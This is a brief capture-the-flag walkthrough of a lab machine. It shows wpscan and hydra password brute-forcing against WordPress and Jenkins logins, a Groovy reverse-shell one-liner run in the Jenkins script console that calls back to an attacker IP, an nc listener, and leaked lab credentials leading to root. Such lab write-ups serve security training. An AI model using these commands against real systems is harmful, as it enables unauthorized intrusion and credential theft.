# idk why the archlinux package wpscan doesn't work # it's easy to use docker and gem install too ➜ ~ sudo docker run -it --rm -v /usr/share/wordlists/passwords:/passwords wpscanteam/wpscan --url http://10.10.103.231/blog --usernames admin --passwords /passwords/rockyou.txt
Don’t forget to reset Will’s credentials. william:arnold147
1 2 3 4 5
# dosen't work ➜ tmp ssh william@internal.thm Warning: Permanently added 'internal.thm' (ED25519) to the list of known hosts. william@internal.thm's password: Permission denied, please try again.
Authentication required <!-- You are authenticated as: anonymous Groups that you are in:
Permission you need to have (but didn't): hudson.model.Hudson.Read ... which is implied by: hudson.security.Permission.GenericRead ... which is implied by: hudson.model.Hudson.Administer --> </body></html>
# in browser, get jenkins service, a login page http://localhost:9999/
# this still useless? william:arnold147
# slow but -t needs to be a number between 1 and 64 ➜ dic hydra 127.0.0.1 -s 9999 -f http-form-post "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in&Login=Login:F=loginError" -l admin -P /home/arch/ctf/tool/dic/rockyou.txt -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-02-16 02:09:03 [DATA] max 64 tasks per 1 server, overall 64 tasks, 14344398 login tries (l:1/p:14344398), ~224132 tries per task [DATA] attacking http-post-form://127.0.0.1:9999/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in&Login=Login:F=loginError [STATUS] 599.00 tries/min, 599 tries in 00:01h, 14343799 to doin 399:07h, 64 active [STATUS] 580.33 tries/min, 1741 tries in 00:03h, 14342657 to doin 411:55h, 64 active [9999][http-post-form] host: 127.0.0.1 login: admin password: spongebob [STATUS] attack finished for 127.0.0.1 (valid pair found) 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-02-16 02:14:16
# login and open script console to get reverse shell # String host="10.2.30.143";int port=5557;String cmd="bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
➜ dic nc -lvnp 5557 Connection from 10.10.103.231:33994 whoami jenkins
ls * opt: note.txt
cat /opt/note.txt Aubreanna,
Will wanted these credentials secured behind the Jenkins container since we have several layers of defense here. Use them if you need access to the root user account.
root:tr0ub13guM!@#123 ➜ ~ ssh root@internal.thm
root@internal:~# ls root.txt snap root@internal:~# cat root.txt # flag2 here